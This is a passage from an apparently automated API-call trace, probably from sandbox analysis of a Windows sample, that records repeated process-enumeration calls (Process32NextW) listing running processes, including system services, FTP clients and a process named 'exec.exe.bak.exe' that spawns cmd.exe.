pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0101.534] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0101.535] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0101.536] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x119c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0101.536] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0101.537] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0101.538] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11a4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0101.539] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1188, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0101.539] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.540] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="exec.exe.bak.exe")) returned 1 [0101.541] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="exec.exe.bak.exe")) returned 1 [0101.658] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0101.659] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0101.660] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x100c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1164, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0101.660] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1024, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xef0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0101.661] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0101.662] Process32NextW (in: hSnapshot=0x328, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 0 [0101.662] CloseHandle (hObject=0x328) returned 1 [0101.662] Sleep (dwMilliseconds=0x1f4) [0102.637] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x330 [0102.649] Process32FirstW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0102.649] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0102.650] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0102.651] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0102.651] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0102.652] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0102.653] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0102.654] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0102.655] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0102.655] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.656] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0102.657] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0102.658] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.659] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0102.660] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.661] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.662] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.663] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.663] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.664] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.665] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.666] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.666] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.667] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.668] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0102.901] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.902] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0102.903] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0102.904] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0102.905] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0102.905] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0102.906] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0102.907] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0102.907] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0102.908] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0102.909] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0102.910] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0102.911] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0102.911] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="actuallyutilization.exe")) returned 1 [0102.912] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0102.913] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="midnight_conclusions_venezuela.exe")) returned 1 [0102.913] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="capture guardian kits.exe")) returned 1 [0102.914] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="nursing op deputy.exe")) returned 1 [0102.915] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scenariooperatingdts.exe")) returned 1 [0102.916] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ranksphysicians.exe")) returned 1 [0102.917] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="inf distributors.exe")) returned 1 [0102.917] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="sa_surf_dig.exe")) returned 1 [0102.918] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="powered.exe")) returned 1 [0102.919] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fiction.exe")) returned 1 [0102.919] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="methodology-iowa-inclusion.exe")) returned 1 [0102.920] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mhz.exe")) returned 1 [0102.921] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="stores predictions calculations.exe")) returned 1 [0102.922] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ogmothers.exe")) returned 1 [0102.923] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="beside-bedford.exe")) returned 1 [0102.924] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="curves.exe")) returned 1 [0102.925] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="vi-ieee.exe")) returned 1 [0102.926] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="costa.exe")) returned 1 [0102.927] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0102.928] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0102.929] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0102.931] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0102.932] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0103.034] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0103.035] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0103.037] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0103.039] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0103.041] Process32NextW (in: hSnapshot=0x330, lppe=0x289f9ec | out: lppe=0x289f9ec*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, 